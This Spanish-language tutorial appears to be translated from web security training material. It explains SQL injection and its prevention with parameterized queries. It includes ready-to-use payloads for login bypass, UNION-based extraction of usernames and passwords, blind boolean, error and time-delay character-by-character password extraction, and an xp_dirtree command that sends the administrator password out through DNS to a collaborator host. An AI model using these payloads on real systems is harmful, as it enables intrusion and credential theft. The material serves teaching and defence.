# SQL Injection

## Cursos de utilidad
El mejor curso que he visto para repasar SQL de manera online (muy recomendado)
http://www.sqlcourse.com/ nivel básico
http://www.sqlcourse2.com/ nivel intermedio/avanzado
https://sqlbolt.com/

## Inyección SQL

En esta sección, explicaremos qué es la inyección de SQL, describiremos algunos ejemplos comunes, explicaremos cómo encontrar y explotar varios tipos de vulnerabilidades de inyección de SQL y resumiremos cómo prevenir la inyección de SQL.


### ¿Qué es la inyección SQL (SQLi)?

La inyección SQL es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Por lo general, permite que un atacante vea datos que normalmente no puede recuperar. Esto puede incluir datos que pertenezcan a otros usuarios o cualquier otro dato al que la propia aplicación pueda acceder. En muchos casos, un atacante puede modificar o eliminar estos datos, provocando cambios persistentes en el contenido o el comportamiento de la aplicación.

En algunas situaciones, un atacante puede escalar un ataque de inyección de SQL para comprometer el servidor subyacente u otra infraestructura de back-end, o realizar un ataque de denegación de servicio.

### ¿Cuál es el impacto de un ataque de inyección SQL exitoso?

Un ataque de inyección SQL exitoso puede resultar en un acceso no autorizado a datos confidenciales, como contraseñas, detalles de tarjetas de crédito o información personal del usuario. Muchas violaciones de datos de alto perfil en los últimos años han sido el resultado de ataques de inyección SQL, lo que ha provocado daños a la reputación y multas reglamentarias. En algunos casos, un atacante puede obtener una puerta trasera persistente en los sistemas de una organización, lo que lleva a un compromiso a largo plazo que puede pasar desapercibido durante un período prolongado.

### Ejemplos de inyección SQL
Existe una amplia variedad de vulnerabilidades, ataques y técnicas de inyección SQL que surgen en diferentes situaciones. Algunos ejemplos comunes de inyección de SQL incluyen:
* Recuperar datos ocultos, donde puede modificar una consulta SQL para devolver resultados adicionales.
* Subvirtiendo la lógica de la aplicación, donde puede cambiar una consulta para interferir con la lógica de la aplicación.
* Ataques UNION, donde puede recuperar datos de diferentes tablas de bases de datos.
* Examinar la base de datos, donde se puede extraer información sobre la versión y estructura de la base de datos.
* Blind SQL injection, donde los resultados de una consulta que controlas no se devuelven en las respuestas de la aplicación.

### Recuperando datos ocultos
Considere una aplicación de compras que muestre productos en diferentes categorías. Cuando el usuario hace clic en la categoría Gifts, su navegador solicita la URL:

https://insecure-website.com/products?category=Gifts

Esto hace que la aplicación realice una consulta SQL para recuperar detalles de los productos relevantes de la base de datos:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Esta consulta SQL solicita a la base de datos que devuelva:

Todos los detalles (*)
de la tabla de products
donde la categoría es Gifts
y released es 1.
La restricción released = 1 se utiliza para ocultar productos que no se lanzan. Para productos inéditos, presumiblemente released = 0.

La aplicación no implementa ninguna defensa contra los ataques de inyección de SQL, por lo que un atacante puede construir un ataque como:

https://insecure-website.com/products?category=Gifts'--

Esto da como resultado la consulta SQL:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

La clave aquí es que la secuencia de dos guiones -- es un indicador de comentario en SQL y significa que el resto de la consulta se interpreta como un comentario. Esto elimina efectivamente el resto de la consulta, por lo que ya no incluye AND released = 1. Esto significa que se muestran todos los productos, incluidos los productos inéditos.

Yendo más allá, un atacante puede hacer que la aplicación muestre todos los productos en cualquier categoría, incluidas las categorías que no conoce:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Esto da como resultado la consulta SQL:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

La consulta modificada devolverá todos los elementos en los que la categoría sea Gifts o 1 es igual a 1. Dado 1=1 que siempre es verdadera, la consulta devolverá todos los elementos.

### Alterando la lógica de la aplicación
Considere una aplicación que permita a los usuarios iniciar sesión con un nombre de usuario y una contraseña. Si un usuario envía el nombre de usuario wiener y la contraseña bluecheese, la aplicación verifica las credenciales realizando la siguiente consulta SQL:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

Si la consulta devuelve los detalles de un usuario, entonces el inicio de sesión es exitoso. De lo contrario, se rechaza.

Aquí, un atacante puede iniciar sesión como cualquier usuario sin contraseña simplemente usando la secuencia de comentarios SQL -- para eliminar la verificación de contraseña de la cláusula WHERE de la consulta. Por ejemplo, enviar el nombre de usuario administrator'-- y una contraseña en blanco da como resultado la siguiente consulta:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Esta consulta devuelve el usuario cuyo nombre de usuario es administrator y registra correctamente al atacante como ese usuario.

### Recuperar datos de otras tablas de bases de datos

En los casos en que los resultados de una consulta SQL se devuelven dentro de las respuestas de la aplicación, un atacante puede aprovechar una vulnerabilidad de inyección SQL para recuperar datos de otras tablas dentro de la base de datos. Esto se hace usando la UNIONpalabra clave, que le permite ejecutar una SELECTconsulta adicional y agregar los resultados a la consulta original.

Por ejemplo, si una aplicación ejecuta la siguiente consulta que contiene la entrada del usuario "Regalos":

SELECT name, description FROM products WHERE category = 'Gifts'

entonces un atacante puede enviar la entrada:

' UNION SELECT username, password FROM users--

Esto hará que la aplicación devuelva todos los nombres de usuario y contraseñas junto con los nombres y descripciones de los productos.

### Examinando la base de datos
Después de la identificación inicial de una vulnerabilidad de inyección de SQL, generalmente es útil obtener información sobre la base de datos en sí. Esta información a menudo puede allanar el camino para una mayor explotación.

Puede consultar los detalles de la versión de la base de datos. La forma en que se hace esto depende del tipo de base de datos, por lo que puede inferir el tipo de base de datos a partir de cualquier técnica que funcione. Por ejemplo, en Oracle puede ejecutar:

SELECT * FROM v$version

También puede determinar qué tablas de base de datos existen y qué columnas contienen. Por ejemplo, en la mayoría de las bases de datos puede ejecutar la siguiente consulta para enumerar las tablas:

SELECT * FROM information_schema.tables

### Vulnerabilidades de Blind SQL injection
Muchas instancias de inyección SQL son vulnerabilidades blind. Esto significa que la aplicación no devuelve los resultados de la consulta SQL o los detalles de los errores de la base de datos dentro de sus respuestas. Las vulnerabilidades blind aún pueden explotarse para acceder a datos no autorizados, pero las técnicas involucradas son generalmente más complicadas y difíciles de realizar.

Dependiendo de la naturaleza de la vulnerabilidad y de la base de datos involucrada, las siguientes técnicas se pueden utilizar para explotar las vulnerabilidades de inyección SQL ciega:

* Puede cambiar la lógica de la consulta para desencadenar una diferencia detectable en la respuesta de la aplicación dependiendo de la verdad de una sola condición. Esto podría implicar inyectar una nueva condición en alguna lógica booleana o desencadenar condicionalmente un error como una división por cero.
* Puede activar condicionalmente un retraso de tiempo en el procesamiento de la consulta, lo que le permite inferir la verdad de la condición en función del tiempo que tarda la aplicación en responder.
* Puede desencadenar una interacción de red fuera de banda utilizando técnicas OAST . Esta técnica es extremadamente poderosa y funciona en situaciones donde las otras técnicas no lo hacen. A menudo, puede extraer datos directamente a través del canal fuera de banda, por ejemplo, colocando los datos en una búsqueda de DNS para un dominio que usted controla.

### Cómo detectar vulnerabilidades de inyección de SQL
La mayoría de las vulnerabilidades de inyección de SQL se pueden encontrar de forma rápida y confiable utilizando el escáner de vulnerabilidades web de Burp Suite.

La inyección de SQL se puede detectar manualmente mediante el uso de un conjunto sistemático de pruebas en todos los puntos de entrada de la aplicación. Normalmente, esto implica:

* Enviar el carácter de comilla simple ' y buscar errores u otras anomalías.
* Enviar alguna sintaxis específica de SQL que evalúe el valor base (original) del punto de entrada y un valor diferente, y buscar diferencias sistemáticas en las respuestas de la aplicación resultante.
* Presentar condiciones booleanas como OR 1=1 y OR 1=2, and buscar diferencias en las respuestas de la aplicación.
* Enviar payloads diseñados para desencadenar retrasos cuando se ejecutan dentro de una consulta SQL y buscar diferencias en el tiempo necesario para responder.
* Enviar payloads de OAST diseñados para desencadenar una interacción de red fuera de banda cuando se ejecuta dentro de una consulta SQL y monitorear cualquier interacción resultante.

### Inyección SQL en diferentes partes de la consulta.
La mayoría de las vulnerabilidades de inyección de SQL surgen dentro de la WHEREcláusula de una consulta SELECT. Este tipo de inyección SQL es generalmente bien entendido por probadores experimentados.

Pero, en principio, las vulnerabilidades de inyección de SQL pueden ocurrir en cualquier ubicación dentro de la consulta y dentro de diferentes tipos de consultas. Las otras ubicaciones más comunes donde surge la inyección de SQL son:

* En declaraciones UPDATE, dentro de los valores actualizados o la cláusula WHERE.
* En declaraciones INSERT, dentro de los valores insertados.
* En declaraciones SELECT, dentro del nombre de la tabla o columna.
* En declaraciones SELECT, dentro de la cláusula ORDER BY.

### Second-order SQL injection
La inyección SQL de primer orden surge cuando la aplicación toma la entrada del usuario de una solicitud HTTP y, en el curso del procesamiento de esa solicitud, incorpora la entrada en una consulta SQL de una manera insegura.

En la inyección SQL de segundo orden (también conocida como inyección SQL almacenada), la aplicación toma la entrada del usuario de una solicitud HTTP y la almacena para uso futuro. Esto generalmente se hace colocando la entrada en una base de datos, pero no surge ninguna vulnerabilidad en el punto donde se almacenan los datos. Posteriormente, al manejar una solicitud HTTP diferente, la aplicación recupera los datos almacenados y los incorpora a una consulta SQL de manera insegura.


La inyección de SQL de segundo orden a menudo surge en situaciones en las que los desarrolladores son conscientes de las vulnerabilidades de inyección de SQL y, por lo tanto, manejan de manera segura la ubicación inicial de la entrada en la base de datos. Cuando los datos se procesan posteriormente, se consideran seguros, ya que anteriormente se colocaron en la base de datos de manera segura. En este punto, los datos se manejan de manera insegura, porque el desarrollador erróneamente los considera confiables.

### Factores específicos de la base de datos
Algunas características básicas del lenguaje SQL se implementan de la misma manera en las plataformas de bases de datos populares, y muchas formas de detectar y explotar las vulnerabilidades de inyección SQL funcionan de manera idéntica en diferentes tipos de bases de datos.

Sin embargo, también existen muchas diferencias entre las bases de datos comunes. Esto significa que algunas técnicas para detectar y explotar la inyección de SQL funcionan de manera diferente en diferentes plataformas. Por ejemplo:
* Sintaxis para la concatenación de cadenas.
* Comentarios.
* Consultas por lotes (o apiladas).
* API específicas de la plataforma.
* Error de mensajes.

### Cómo prevenir la inyección de SQL
La mayoría de las instancias de inyección de SQL se pueden evitar mediante el uso de consultas parametrizadas (también conocidas como declaraciones preparadas) en lugar de la concatenación de cadenas dentro de la consulta.

El siguiente código es vulnerable a la inyección de SQL porque la entrada del usuario se concatena directamente en la consulta:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";

Statement statement = connection.createStatement();

ResultSet resultSet = statement.executeQuery(query);

Este código se puede reescribir fácilmente de manera que evite que la entrada del usuario interfiera con la estructura de la consulta:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");

statement.setString(1, input);

ResultSet resultSet = statement.executeQuery();

Las consultas parametrizadas se pueden utilizar para cualquier situación en la que aparezcan entradas que no sean de confianza como datos dentro de la consulta, incluidos la cláusula WHERE y los valores en una declaración INSERT o UPDATE. No se pueden usar para manejar entradas que no sean de confianza en otras partes de la consulta, como nombres de tablas o columnas, o la cláusula ORDER BY. La funcionalidad de la aplicación que coloca datos que no son de confianza en esas partes de la consulta deberá adoptar un enfoque diferente, como incluir valores de entrada permitidos en la lista blanca o utilizar una lógica diferente para ofrecer el comportamiento requerido.

Para que una consulta parametrizada sea eficaz en la prevención de la inyección de SQL, la cadena que se utiliza en la consulta siempre debe ser una constante codificada y nunca debe contener datos variables de ningún origen. No caiga en la tentación de decidir caso por caso si un elemento de datos es confiable y continúe usando la concatenación de cadenas dentro de la consulta para los casos que se consideran seguros. Es muy fácil cometer errores sobre el posible origen de los datos o que los cambios en otro código infrinjan las suposiciones sobre qué datos están contaminados.

## Ataques UNION de inyección SQL
Cuando una aplicación es vulnerable a la inyección de SQL y los resultados de la consulta se devuelven dentro de las respuestas de la aplicación, la palabra clave UNION se puede utilizar para recuperar datos de otras tablas dentro de la base de datos. Esto da como resultado un ataque UNION de inyección SQL.

La palabra clave UNION le permite ejecutar una o más consultas SELECT adicionales y agregar los resultados a la consulta original. Por ejemplo:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Esta consulta SQL devolverá un único conjunto de resultados con dos columnas, que contienen valores de columnas a y b en table1 y columnas c y d en table2.

Para que una consulta UNION funcione, se deben cumplir dos requisitos clave:

* Las consultas individuales deben devolver el mismo número de columnas.
* Los tipos de datos de cada columna deben ser compatibles entre las consultas individuales.

Para llevar a cabo un ataque UNION de inyección SQL, debe asegurarse de que su ataque cumpla con estos dos requisitos. Por lo general, esto implica averiguar:

* ¿Cuántas columnas se devuelven de la consulta original?
* ¿Qué columnas devueltas de la consulta original son de un tipo de datos adecuado para contener los resultados de la consulta inyectada?

### Determinación del número de columnas necesarias en un ataque UNION de inyección SQL

Al realizar un ataque UNION de inyección SQL, existen dos métodos efectivos para determinar cuántas columnas se devuelven desde la consulta original.

El primer método implica inyectar una serie de cláusulas ORDER BY e incrementar el índice de columna especificado hasta que ocurra un error. Por ejemplo, suponiendo que el punto de inyección es una cadena entre comillas dentro de la cláusula WHERE de la consulta original, debe enviar:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.

Esta serie de payloads modifica la consulta original para ordenar los resultados por diferentes columnas en el conjunto de resultados. La columna de una cláusula ORDER BY se puede especificar mediante su índice, por lo que no es necesario conocer los nombres de ninguna columna. Cuando el índice de columna especificado excede el número de columnas reales en el conjunto de resultados, la base de datos devuelve un error, como:

The ORDER BY position number 3 is out of range of the number of items in the select list.

La aplicación podría devolver el error de la base de datos en su respuesta HTTP, o podría devolver un error genérico o simplemente no devolver resultados. Siempre que pueda detectar alguna diferencia en la respuesta de la aplicación, puede inferir cuántas columnas devuelve la consulta.

El segundo método implica enviar una serie de payloads UNION SELECT que especifican un número diferente de valores nulos:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Si el número de nulos no coincide con el número de columnas, la base de datos devuelve un error, como:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Una vez más, la aplicación podría devolver este mensaje de error, o podría devolver un error genérico o ningún resultado. Cuando el número de nulos coincide con el número de columnas, la base de datos devuelve una fila adicional en el conjunto de resultados, que contiene valores nulos en cada columna. El efecto sobre la respuesta HTTP resultante depende del código de la aplicación. Si tiene suerte, verá contenido adicional dentro de la respuesta, como una fila adicional en una tabla HTML. De lo contrario, los valores nulos pueden desencadenar un error diferente, como un NullPointerException. En el peor de los casos, la respuesta puede ser indistinguible de la causada por un número incorrecto de nulos, lo que hace que este método para determinar el recuento de columnas sea ineficaz.

Nota
* La razón para usar NULL como valores devueltos de la consulta SELECT inyectada es que los tipos de datos en cada columna deben ser compatibles entre la consulta original y la inyectada. Dado que NULL es convertible a todos los tipos de datos de uso común, el uso NULL maximiza la posibilidad de que el payload tenga éxito cuando el recuento de columnas sea correcto.
* En Oracle, cada consulta SELECT debe utilizar la palabra clave FROM y especificar una tabla válida. Hay una tabla incorporada en Oracle llamada DUAL que se puede utilizar para este propósito. Por lo que las consultas inyectados en Oracle tendrían que ser: ' UNION SELECT NULL FROM DUAL--.
* Los payloads descritos utilizan la secuencia -- de comentarios de dos guiones para comentar el resto de la consulta original después del punto de inyección. En MySQL, la secuencia de dos guiones debe ir seguida de un espacio. Alternativamente, el carácter de almohadilla # se puede utilizar para identificar un comentario.
Para obtener más detalles sobre la sintaxis específica de la base de datos, consulte la hoja de trucos de inyección SQL.

### Encontrar columnas con un tipo de datos útil en un ataque UNION de inyección SQL
La razón para realizar un ataque UNION de inyección SQL es poder recuperar los resultados de una consulta inyectada. Generalmente, los datos interesantes que desea recuperar estarán en forma de cadena, por lo que debe encontrar una o más columnas en los resultados de la consulta original cuyo tipo de datos sea o sea compatible con datos de cadena.

Después de haber determinado el número de columnas requeridas, puede sondear cada columna para probar si puede contener datos de cadena enviando una serie de payloads UNION SELECT que colocan un valor de cadena en cada columna a su vez. Por ejemplo, si la consulta devuelve cuatro columnas, debe enviar:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Si el tipo de datos de una columna no es compatible con los datos de la cadena, la consulta inyectada provocará un error en la base de datos, como:

Conversion failed when converting the varchar value 'a' to data type int.

Si no se produce un error y la respuesta de la aplicación incluye algún contenido adicional, incluido el valor de cadena inyectado, la columna relevante es adecuada para recuperar datos de cadena.

### Usando un ataque UNION de inyección SQL para recuperar datos interesantes
Cuando haya determinado el número de columnas devueltas por la consulta original y haya encontrado qué columnas pueden contener datos de cadena, estará en condiciones de recuperar datos interesantes.

Suponer que:

* La consulta original devuelve dos columnas, las cuales pueden contener datos de cadena.
* El punto de inyección es una cadena entre comillas dentro de la cláusula WHERE.
* La base de datos contiene una tabla llamada users con las columnas username y password.
* En esta situación, puede recuperar el contenido de la tabla users enviando la entrada:

' UNION SELECT username, password FROM users--

Por supuesto, la información crucial necesaria para realizar este ataque es que hay una tabla llamada users con dos columnas llamadas username y password. Sin esta información, se quedaría intentando adivinar los nombres de las tablas y columnas. De hecho, todas las bases de datos modernas proporcionan formas de examinar la estructura de la base de datos para determinar qué tablas y columnas contiene.

### Recuperar varios valores dentro de una sola columna
En el ejemplo anterior, suponga que la consulta solo devuelve una sola columna.

Puede recuperar fácilmente varios valores juntos dentro de esta única columna concatenando los valores juntos, idealmente incluyendo un separador adecuado para permitirle distinguir los valores combinados. Por ejemplo, en Oracle, puede enviar la entrada:

' UNION SELECT username || '~' || password FROM users--

Esto utiliza la secuencia de doble canal || que es un operador de concatenación de cadenas en Oracle. La consulta inyectada concatena los valores de los campos username y password, separados por el carácter ~.

Los resultados de la consulta le permitirán leer todos los nombres de usuario y contraseñas, por ejemplo:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Tenga en cuenta que las diferentes bases de datos utilizan una sintaxis diferente para realizar la concatenación de cadenas. Para obtener más detalles, consulte la hoja de referencia de inyección SQL.

## Examinando la base de datos en ataques de inyección SQL
Al explotar las vulnerabilidades de la inyección de SQL, a menudo es necesario recopilar información sobre la base de datos. Esto incluye el tipo y la versión del software de la base de datos y el contenido de la base de datos en términos de las tablas y columnas que contiene.

### Consultar el tipo y la versión de la base de datos
Las diferentes bases de datos proporcionan diferentes formas de consultar su versión. A menudo, debe probar diferentes consultas para encontrar una que funcione, lo que le permitirá determinar tanto el tipo como la versión del software de la base de datos.

Las consultas para determinar la versión de la base de datos para algunos tipos de bases de datos populares son las siguientes:

Tipo de base de datos Consulta
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
Por ejemplo, podría usar un ataque UNION con la siguiente entrada:

' UNION SELECT @@version--

Esto podría devolver un resultado como el siguiente, confirmando que la base de datos es Microsoft SQL Server y la versión que se está utilizando:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

### Listado del contenido de la base de datos
La mayoría de los tipos de bases de datos (con la notable excepción de Oracle) tienen un conjunto de vistas llamado information schema que proporciona información sobre la base de datos.

Puede consultar information_schema.tables para listar las tablas en la base de datos:

SELECT * FROM information_schema.tables

Esto devuelve un resultado como el siguiente:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

Esta salida indica que hay tres tablas, llamadas Products, Users y Feedback.

Luego puede consultar information_schema.columns para listar las columnas en tablas individuales:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Esto devuelve un resultado como el siguiente:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

Esta salida muestra las columnas de la tabla especificada y el tipo de datos de cada columna.

### Equivalente al information schema en Oracle
En Oracle, puede obtener la misma información con consultas ligeramente diferentes.

Puede enumerar tablas consultando all_tables:

SELECT * FROM all_tables

Y puede enumerar columnas consultando all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

## Blind SQL injection
En esta sección, describiremos qué es la inyección SQL ciega, explicaremos varias técnicas para encontrar y explotar vulnerabilidades de inyección SQL ciega.

### ¿Qué es la inyección SQL ciega?
La inyección SQL ciega surge cuando una aplicación es vulnerable a la inyección SQL, pero sus respuestas HTTP no contienen los resultados de la consulta SQL relevante o los detalles de los errores de la base de datos.

Con las vulnerabilidades de inyección ciega de SQL, muchas técnicas, como los ataques UNION, no son efectivos, porque se basan en poder ver los resultados de la consulta inyectada dentro de las respuestas de la aplicación. Todavía es posible explotar la inyección SQL ciega para acceder a datos no autorizados, pero se deben utilizar diferentes técnicas.

### Explotación de la inyección SQL ciega activando respuestas condicionales
Considere una aplicación que utiliza cookies de seguimiento para recopilar análisis sobre el uso. Las solicitudes a la aplicación incluyen un encabezado de cookie como este:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Cuando TrackingId se procesa una solicitud que contiene una cookie, la aplicación determina si se trata de un usuario conocido mediante una consulta SQL como esta:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Esta consulta es vulnerable a la inyección de SQL, pero los resultados de la consulta no se devuelven al usuario. Sin embargo, la aplicación se comporta de manera diferente dependiendo de si la consulta devuelve datos. Si devuelve datos (porque TrackingId se envió un mensaje reconocido), se muestra un mensaje de "Bienvenido de nuevo" dentro de la página.

Este comportamiento es suficiente para poder explotar la vulnerabilidad de inyección SQL ciega y recuperar información, activando diferentes respuestas de forma condicional, dependiendo de una condición inyectada. Para ver cómo funciona esto, suponga que se envían dos solicitudes que contienen los siguientes valores de cookies TrackingId a su vez:

xyz' UNION SELECT 'a' WHERE 1=1--
xyz' UNION SELECT 'a' WHERE 1=2--

El primero de estos valores hará que la consulta devuelva resultados, porque la condición inyectada or 1=1 es verdadera, por lo que se mostrará el mensaje "Bienvenido de nuevo". Mientras que el segundo valor hará que la consulta no devuelva ningún resultado, porque la condición inyectada es falsa, por lo que no se mostrará el mensaje "Bienvenido de nuevo". Esto nos permite determinar la respuesta a cualquier condición inyectada individual, y así extraer los datos un bit a la vez.

Por ejemplo, suponga que hay una tabla llamada Users con las columnas Username y Password, y un usuario llamado Administrator. Podemos determinar sistemáticamente la contraseña para este usuario enviando una serie de entradas para probar la contraseña un carácter a la vez.

Para hacer esto, comenzamos con la siguiente entrada:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

Esto devuelve el mensaje "Bienvenido de nuevo", que indica que la condición inyectada es verdadera, por lo que el primer carácter de la contraseña es mayor que m.

A continuación, enviamos la siguiente entrada:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--

Esto no devuelve el mensaje "Bienvenido de nuevo", lo que indica que la condición inyectada es falsa, por lo que el primer carácter de la contraseña no es mayor que t.

Finalmente, enviamos la siguiente entrada, que devuelve el mensaje "Bienvenido de nuevo", confirmando así que el primer carácter de la contraseña es s:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--

Podemos continuar este proceso para determinar sistemáticamente la contraseña completa para el Administratorusuario.

Nota: La función SUBSTRING se llama SUBSTR en algunos tipos de base de datos. Para obtener más detalles, consulte la hoja de referencia de inyección SQL.

### Inducir respuestas condicionales desencadenando errores de SQL
En el ejemplo anterior, suponga que la aplicación realiza la misma consulta SQL, pero no se comporta de manera diferente dependiendo de si la consulta devuelve algún dato. La técnica anterior no funcionará, porque la inyección de diferentes condiciones booleanas no hace ninguna diferencia en las respuestas de la aplicación.

En esta situación, a menudo es posible inducir a la aplicación a devolver respuestas condicionales desencadenando errores de SQL de forma condicional, según una condición inyectada. Esto implica modificar la consulta para que cause un error en la base de datos si la condición es verdadera, pero no si la condición es falsa. Muy a menudo, un error no manejado arrojado por la base de datos causará alguna diferencia en la respuesta de la aplicación (como un mensaje de error), permitiéndonos inferir la verdad de la condición inyectada.

Para ver cómo funciona esto, suponga que se envían dos solicitudes que contienen los siguientes valores de cookies TrackingId a su vez:

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--

Estas entradas usan la palabra clave CASE para probar una condición y devolver una expresión diferente dependiendo de si la expresión es verdadera. Con la primera entrada, la expresión de caso se evalúa NULL, lo que no causa ningún error. Con la segunda entrada, evalúa a 1/0, lo que provoca un error de división por cero. Suponiendo que el error causa alguna diferencia en la respuesta HTTP de la aplicación, podemos usar esta diferencia para inferir si la condición inyectada es verdadera.

Usando esta técnica, podemos recuperar datos de la manera ya descrita, probando sistemáticamente un carácter a la vez:

xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--

Nota: Hay varias formas de activar errores condicionales y diferentes técnicas funcionan mejor en diferentes tipos de base de datos. Para obtener más detalles, consulte la hoja de referencia de inyección SQL.

### Explotación de la inyección SQL ciega provocando retrasos de tiempo
En el ejemplo anterior, suponga que la aplicación ahora detecta errores de la base de datos y los maneja correctamente. Activar un error de base de datos cuando se ejecuta la consulta SQL inyectada ya no causa ninguna diferencia en la respuesta de la aplicación, por lo que la técnica anterior de inducir errores condicionales no funcionará.

En esta situación, a menudo es posible aprovechar la vulnerabilidad de inyección SQL ciega activando retrasos de tiempo condicionalmente, dependiendo de una condición inyectada. Debido a que la aplicación generalmente procesa las consultas SQL de forma síncrona, retrasar la ejecución de una consulta SQL también retrasará la respuesta HTTP. Esto nos permite inferir la verdad de la condición inyectada en función del tiempo transcurrido antes de que se reciba la respuesta HTTP.

Las técnicas para activar un retraso de tiempo son muy específicas del tipo de base de datos que se utiliza. En Microsoft SQL Server, una entrada como la siguiente se puede usar para probar una condición y desencadenar un retraso dependiendo de si la expresión es verdadera:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

La primera de estas entradas no activará un retraso, porque la condición 1=2 es falsa. La segunda entrada activará un retraso de 10 segundos, porque la condición 1=1 es verdadera.

Usando esta técnica, podemos recuperar datos de la manera ya descrita, probando sistemáticamente un carácter a la vez:

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Nota: Hay varias formas de desencadenar retrasos en las consultas SQL y se aplican diferentes técnicas en diferentes tipos de bases de datos. Para obtener más detalles, consulte la hoja de referencia de inyección SQL.

### Explotación de la inyección SQL ciega utilizando técnicas fuera de banda (OAST)
Ahora, suponga que la aplicación realiza la misma consulta SQL, pero lo hace de forma asincrónica. La aplicación continúa procesando la solicitud del usuario en el hilo original y usa otro hilo para ejecutar una consulta SQL usando la cookie de seguimiento. La consulta sigue siendo vulnerable a la inyección de SQL, sin embargo, ninguna de las técnicas descritas hasta ahora funcionará: la respuesta de la aplicación no depende de si la consulta devuelve datos, de si se produce un error en la base de datos o del tiempo de ejecución de la consulta.

En esta situación, a menudo es posible aprovechar la vulnerabilidad de inyección SQL ciega activando interacciones de red fuera de banda en un sistema que usted controla. Como anteriormente, estos se pueden activar de forma condicional, dependiendo de una condición inyectada, para inferir información un bit a la vez. Pero de manera más poderosa, los datos pueden exfiltrarse directamente dentro de la propia interacción de la red.

Se puede usar una variedad de protocolos de red para este propósito, pero generalmente el más efectivo es DNS (servicio de nombres de dominio). Esto se debe a que muchas redes de producción permiten la salida libre de consultas de DNS, porque son esenciales para el funcionamiento normal de los sistemas de producción.

La forma más fácil y confiable de utilizar técnicas fuera de banda es utilizar Burp Collaborator. Este es un servidor que proporciona implementaciones personalizadas de varios servicios de red (incluido DNS) y le permite detectar cuándo se producen interacciones de red como resultado de enviar payloads individuales a una aplicación vulnerable. El soporte para Burp Collaborator está integrado en Burp Suite Professional sin necesidad de configuración.

Las técnicas para desencadenar una consulta de DNS son muy específicas del tipo de base de datos que se utiliza. En Microsoft SQL Server, se puede utilizar una entrada como la siguiente para provocar una búsqueda de DNS en un dominio específico:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Esto hará que la base de datos realice una búsqueda para el siguiente dominio:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

Puede utilizar el cliente Collaborator de Burp Suite para generar un subdominio único y sondear el servidor Collaborator para confirmar cuándo se producen búsquedas de DNS.

Una vez confirmada una forma de desencadenar interacciones fuera de banda, puede utilizar el canal fuera de banda para extraer datos de la aplicación vulnerable. Por ejemplo:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Esta entrada lee la contraseña del Administratorusuario, agrega un subdominio de Colaborador único y activa una búsqueda de DNS. Esto dará como resultado una búsqueda de DNS como la siguiente, lo que le permitirá ver la contraseña capturada:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Las técnicas fuera de banda (OAST) son una forma extremadamente poderosa de detectar y explotar la inyección SQL ciega, debido a la alta probabilidad de éxito y la capacidad de exfiltrar datos directamente dentro del canal fuera de banda. Por esta razón, las técnicas OAST suelen ser preferibles incluso en situaciones en las que funcionan otras técnicas de explotación ciega.

Nota: Hay varias formas de activar interacciones fuera de banda y se aplican diferentes técnicas en diferentes tipos de bases de datos. Para obtener más detalles, consulte la hoja de referencia de inyección SQL.

### ¿Cómo prevenir ataques de inyección SQL ciega?
Aunque las técnicas necesarias para encontrar y explotar vulnerabilidades de inyección SQL ciega son diferentes y más sofisticadas que para la inyección SQL regular, las medidas necesarias para prevenir la inyección SQL son las mismas independientemente de si la vulnerabilidad es ciega o no.

